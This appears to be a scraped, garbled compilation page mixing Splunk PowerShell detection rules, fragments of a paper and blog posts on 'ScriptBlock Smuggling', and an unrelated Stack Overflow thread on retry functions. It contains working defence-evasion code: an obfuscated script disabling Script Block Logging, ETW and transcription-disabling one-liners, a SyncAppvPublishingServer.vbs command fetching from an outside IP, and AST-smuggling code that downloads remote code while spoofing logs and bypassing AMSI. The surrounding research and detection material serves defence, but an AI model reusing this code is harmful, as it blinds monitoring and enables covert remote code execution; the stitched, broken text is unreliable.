Подделка журналов безопасности power shell и обход amsi без отражения или исправления

Try in Splunk Security Cloud

Description

  • Type: TTP
  • Product: Splunk Enterprise, Splunk Enterprise Security, Splunk Cloud

  • Last Updated: 2024-05-30
  • Author: Steven Dick
  • ID: 4a3f2a7d-6402-4e64-a76a-869588ec3b57

Annotations

ATT&CK

ATT&CK

IDTechniqueTactic
T1059.001PowerShellExecution
T1105Ingress Tool TransferCommand And Control
Kill Chain Phase
  • Installation
  • Command and Control
NIST
  • DE.CM
CIS20
  • CIS 10
CVE
1
2
3
4
5
6
7
8
9
10
`powershell` EventCode=4104 ScriptBlockText IN ("*http:*","*https:*") 
| regex ScriptBlockText="(\"?(https?:\/\/(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()@:%_\+.~#?&\/=]*))\"?(?:,
|\))?){2,}" 
| rex max_match=20 field=ScriptBlockText "(?<url>https?:\/\/(?:www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b(?:[-a-zA-Z0-9()@:%_\+.~#?&\/=]*))" 
| eval Path = case(isnotnull(Path),Path,true(),"unknown") 
| stats count min(_time) as firstTime max(_time) as lastTime list(ScriptBlockText) as command values(Path) as file_name values(UserID) as user values(url) as url dc(url) as url_count by ActivityID, Computer, EventCode 
| rename Computer as dest, EventCode as signature_id 
| `security_content_ctime(firstTime)` 
| `security_content_ctime(lastTime)` 
| `powershell_script_block_with_url_chain_filter`

Macros

Required fields

List of fields required to use this analytic.

  • _time
  • EventCode
  • ActivityID
  • Computer
  • ScriptBlockText

How To Implement

Known False Positives

Unknown, possible custom scripting.

Associated Analytic Story

RBA

Risk ScoreImpactConfidenceMessage
80.010080A suspicious powershell script used by $user$ on host $dest$ contains $url_count$ URLs in an array, this is commonly used for malware.

Reference

Test Dataset

Replay any dataset to Splunk Enterprise by using our replay.py tool or the UI.
Alternatively you can replay a dataset into a Splunk Attack Range

1. Introduction

2. Background

2.1. .NET Framework

2.2. PowerShell

2.3. Antimalware Scan Interface

2.4. Abstract Syntax Trees

An AST is created by parsing the source code of a program, decomposing the code into individual tokens, and then organizing those tokens into a tree-like structure. Each node in the tree represents a different construct in the language, such as a function, loop, or expression. The tree is abstract in the sense that it does not include all of the details from the source code, such as comments and white space, but instead focuses on the meaningful elements of the program. ASTs are the “magic” behind compilers, an intermediate transformation between higher-level languages and machine code. Figure 3 shows an example of the compilation process. In addition to the compilation, ASTs are useful for tasks such as code analysis, code generation, and program manipulation as they provide a more easily understood representation of the code than the raw source code.

2.5. ScriptBlocks

2.6. ScriptBlock Logging

3. ScriptBlock Smuggling

3.1. Comparison with PowerShell Core

CompiledScriptBlock.cs

3.2. Security Concerns of ScriptBlock Smuggling

CompiledScriptBlock.csCompiledScriptBlock.cs

3.3. Bypassing AMSI Detection

3.4. Log Spoofing

3.5. ScriptBlock Smuggling Example

3.6. Real-World Case Study

4. Mitigations against ScriptBlock Smuggling

The PowerShell engine needs significant refinement to achieve consistency in AST generation. The goal is to ensure that the AST produced during the compilation of PowerShell scripts is identical to the one analyzed during AMSI scanning. This step is critical to eliminate discrepancies that could be exploited for smuggling code.

Enhanced integration of the AMSI with PowerShell involves closer coupling of the AMSI scanning process with the PowerShell execution pipeline. This integration ensures that the AST evaluated by the AMSI is an exact representation of the code being executed.

The primary benefits of this approach are the enhanced detection of sophisticated evasion techniques, more streamlined processing due to a unified AST generation process, and the ability to detect malicious activities earlier. However, this strategy poses challenges with the complexity of implementing such changes in the PowerShell engine, the potential performance overheads due to the integrated scanning process, and ensuring backward compatibility with existing scripts and tools.

5. Conclusions

Future Work

Author Contributions

Funding

This research received no external funding.

Institutional Review Board Statement

The views expressed in this paper are those of the authors, and do not reflect the official policy or position of the United States Air Force, Department of Defense, or the U.S. Government. This document has been approved for public release; distribution unlimited, case #88ABW-2023-0759.

Data Availability Statement

Conflicts of Interest

The authors declare no conflicts of interest.

Abbreviations

APTAdvanced Persistent Threat
CLRCommon Language Runtime
AMSIAntimalware Scan Interface
DLLDynamic Link Library
C2Command and Control
CILCommon Intermediate Language
ASTAbstract Syntax Tree
APIApplication Programming Interface
EDREndpoint Detection and Response
UACUser Access Control
VBAVisual Basic for Applications
JITJust-in-Time Compiler
COMComponent Object Model
SIEMSecurity Information and Event Management
RATRemote Access Trojan

References

Figure 1.
PowerShell execution pipeline within the PowerShell Runspace and the CLR.

Figure 1.
PowerShell execution pipeline within the PowerShell Runspace and the CLR.

Jcp 04 00008 g001

Figure 2.
Security architecture for PowerShell and .NET assembly load using AMSI.dll.

Figure 2.
Security architecture for PowerShell and .NET assembly load using AMSI.dll.

Jcp 04 00008 g002

Jcp 04 00008 g003

Jcp 04 00008 g004

Jcp 04 00008 g005

Jcp 04 00008 g006

Jcp 04 00008 g007

Jcp 04 00008 g008

Jcp 04 00008 g009

Jcp 04 00008 g010

Jcp 04 00008 g011

PropertyDescription
ExtentAn object that represents the location of the script block in the source code. It provides information such as the start and end positions of the script block, as well as the file name and line number where the script block is defined.
ParentA reference to the parent script block, if any. This allows nested script blocks to be created and tracked. The Parent property will be null if the script block is defined at the top level.
BeginBlockA script block that is executed before the main script block. It is typically used for setup tasks or variable initialization.
ParamBlockA script block that defines the parameters of the script block. It is executed before the main script block and allows the script to accept input from the user.
EndBlockA script block that is executed after the main script block. It is typically used for cleanup tasks or final output processing.
DynamicParamBlockA script block that is executed dynamically based on the input provided to the script block. It is used to dynamically modify the parameters the script block accepts based on the input.

Disclaimer/Publisher’s Note: The statements, opinions and data contained in all publications are solely those of the individual author(s) and contributor(s) and not of MDPI and/or the editor(s). MDPI and/or the editor(s) disclaim responsibility for any injury to people or property resulting from any ideas, methods, instructions or products referred to in the content.

Try in Splunk Security Cloud

Description

  • Type: Hunting
  • Product: Splunk Enterprise, Splunk Enterprise Security, Splunk Cloud

  • Last Updated: 2024-05-21
  • Author: Mauricio Velazco, Splunk
  • ID: 80879283-c30f-44f7-8471-d1381f6d437a

Annotations

ATT&CK

ATT&CK

IDTechniqueTactic
T1033System Owner/User DiscoveryDiscovery
Kill Chain Phase
  • Exploitation
NIST
  • DE.AE
CIS20
  • CIS 10
CVE
1
2
3
4
5
6
`powershell` EventCode=4104 ScriptBlockText = "*[System.Security.Principal.WindowsIdentity]*"  ScriptBlockText = "*GetCurrent()*" 
| stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID 
| rename Computer as dest, UserID as user 
| `security_content_ctime(firstTime)` 
| `security_content_ctime(lastTime)` 
| `getcurrent_user_with_powershell_script_block_filter`

Macros

Required fields

List of fields required to use this analytic.

  • _time
  • Path
  • Message
  • OpCode
  • ComputerName
  • User
  • EventCode

How To Implement

Known False Positives

Associated Analytic Story

RBA

Risk ScoreImpactConfidenceMessage
15.03050System user discovery on $dest$ by $user$

Reference

Test Dataset

Replay any dataset to Splunk Enterprise by using our replay.py tool or the UI.
Alternatively you can replay a dataset into a Splunk Attack Range

function Execute-WithRetry([ScriptBlock]$command) {

    $Stoploop = $false
    $count = 0
 
    do {
        try {
            & $command
            Write-Host "Download completed"
            $Stoploop = $true
        }
        catch {
            if ($count -eq 3) {
               
                Write-Host "Could not download after 3 retries."
                $Stoploop = $true
            }
            else {
                Write-Host "Could not download the files retrying in 5 seconds..."
                Write-Host "Executing: $($MyInvocation.MyCommand.ScriptBlock)"
                Start-Sleep -Seconds 5
            }
        }
        $count++
    }
    While  ($Stoploop -eq $false)
    pause

    }


Execute-WithRetry {
  Test-Connection -ComputerName 192.10.129.15 -ErrorAction Stop
}

mklement0's user avatar

67 gold badges673 silver badges862 bronze badges

asked Nov 3, 2023 at 15:45

Maximus Gebo's user avatar

function Invoke-Retry {
  param([scriptblock]$Command)

  $stop = $false
  $count = 0

  $ErrorActionPreference = 'Stop'

  do {
    try {
      &$Command

      Write-Host "Download completed"
      $stop = $true
    }
    catch {
      if ($count -ge 3) {
        Write-Host "Could not download after 3 retries."
        $stop = $true
      }
      else {
        Write-Host "Could not download the files, retrying in 5 seconds"
        Write-Host "Error occurred while executing: `n>> $($_.InvocationInfo.Line)" -ForegroundColor Red
        Start-Sleep -Seconds 5
      }
    }
    $count++
  } while (-not $stop)
  pause
}
PS ~> Invoke-Retry {
  Test-Connection -ComputerName doesntexist
}
Could not download the files retrying in 5 seconds
Error occurred while executing:
>>   Test-Connection -ComputerName doesntexist

Could not download the files retrying in 5 seconds
Error occurred while executing:
>>   Test-Connection -ComputerName doesntexist

Could not download the files retrying in 5 seconds
Error occurred while executing:
>>   Test-Connection -ComputerName doesntexist

Could not download after 3 retries.
Press Enter to continue...:

Note: starting with version 7.4, the invocation info class also exposes the full extent of any multiline statements via the Statement property

answered Nov 3, 2023 at 17:04

Mathias R. Jessen's user avatar

Mathias R. JessenMathias R. Jessen

12 gold badges164 silver badges220 bronze badges


Write-Host "Executing: {$command}"
  • The string representation is exactly what you place inside {...}, i.e. a script-block literal, and can therefore include newlines.

A simplified example:

# Sample function that prints the source code of a given script block.
function Foo { param([scriptblock] $Command) "Source code: {$Command}" }

# Sample call
# ->
#  "Source code: { Get-Date -Format 'yyyy' }" 
Foo -Command { Get-Date -Format 'yyyy' }
# -> " Get-Date -Format 'yyyy' "
{ Get-Date -Format 'yyyy' }.ToString()

answered Nov 3, 2023 at 16:19

mklement0's user avatar

67 gold badges673 silver badges862 bronze badges

Sysmon64.exe -accepteula -i sysmonconfig-export.xml

Figure 2.11 – Sysmon installation

Figure 2.11 – Sysmon installation

Figure 2.12 – Group Policies to enable PowerShell Logging

Figure 2.12 – Group Policies to enable PowerShell Logging

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetF`ie`ld"('cachedGro'+'upPolicySettings', 'N'+'onPu'+'blic,Static')
If ($GroupPolicyField) {
  $GroupPolicyCache = $GroupPolicyField.GetValue($null)
  Write-Host("Before")
  $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl
  If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
    $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
    $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
  }
  $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
  $val.Add('EnableScriptB'+'lockLogging', 0)
  $val.Add('EnableScriptB'+'lockInvocationLogging', 0)
  $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
  Write-Host("After")
  $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl
}

Figure 2.13 – PowerShell Script Block Logging bypass

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Set-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription -Name  EnableTranscripting -Value 0
<TargetObject name="PowerShell Logging Changes" condition="begin with">HKLM\Software\Policies\Microsoft\Windows\PowerShell\</TargetObject>

We will get an event that could potentially trigger

Figure 2.14 – Sysmon detects registry change

Figure 2.14 – Sysmon detects registry change

SyncAppvPublishingServer.vbs "br; iwr http://192.168.13.152:443/a"

Sysmon will detect activity, but not prevent

Figure 2.15 – Suspicious outbound connection detected by Sysmon

Figure 2.15 – Suspicious outbound connection detected by Sysmon

  • Sysmon
  • Access/alter configuration
  • Process injection

Note: All code samples shown in the post can be found in our repo here 

while b ≠ 0​: 

        if a > b​: 

                a = a − b​ 

        else​ 

               b = b − a​ 

return a​ 

Then, the compiler would convert it to look something like this:

Подделка журналов безопасности power shell и обход amsi без отражения или исправления
Подделка журналов безопасности power shell и обход amsi без отражения или исправления
Подделка журналов безопасности power shell и обход amsi без отражения или исправления
PowerShell using only the Extent of a ScriptBlock to generate a log
Подделка журналов безопасности power shell и обход amsi без отражения или исправления
PowerShell sending only the Extent of the ScriptBlock to AMSI
[System.Management.Automation.Language.ScriptBlockAst]::new($Extent,
                                                            $ParamBlock,
                                                            $BeginBlock,
                                                            $ProcessBlock,
                                                            $EndBlock,
                                                            $DynamicParamBlock
                                                            ) 
Подделка журналов безопасности power shell и обход amsi без отражения или исправления
$wc=New-Object System.Net.WebClient
$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast  
$ExecutedAst = [ScriptBlock]::Create($wc.DownloadData(<server>)).Ast
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,
                                                               $null,
                                                               $null,
                                                               $null
                                                               ExecutedAst.EndBlock.Copy(),                                                            
                                                               $null)
$Sb = $Ast.GetScriptBlock() 
Подделка журналов безопасности power shell и обход amsi без отражения или исправления

The PowerShell code can then be executed:

Подделка журналов безопасности power shell и обход amsi без отражения или исправления

This example executes Write-Output ‘amsicontext’, which demonstrates the ability to bypass AMSI without needing any patching or reflection. When we run the code, we can check the logs and see that it only shows Write-Output Hello once again. As a side note, for some reason, using ps.addcommand does not result in a log being generated and executed, but using ps.addscript does generate logs as expected.

Подделка журналов безопасности power shell и обход amsi без отражения или исправления
Подделка журналов безопасности power shell и обход amsi без отражения или исправления

Then, the next time they execute Invoke-Expression, their code will behave differently, while the logs will look like the code they intended to execute.

Подделка журналов безопасности power shell и обход amsi без отражения или исправления
:/>  Установите пользовательские шрифты для обновления прошивки Samsung One UI 5.1

Оставьте комментарий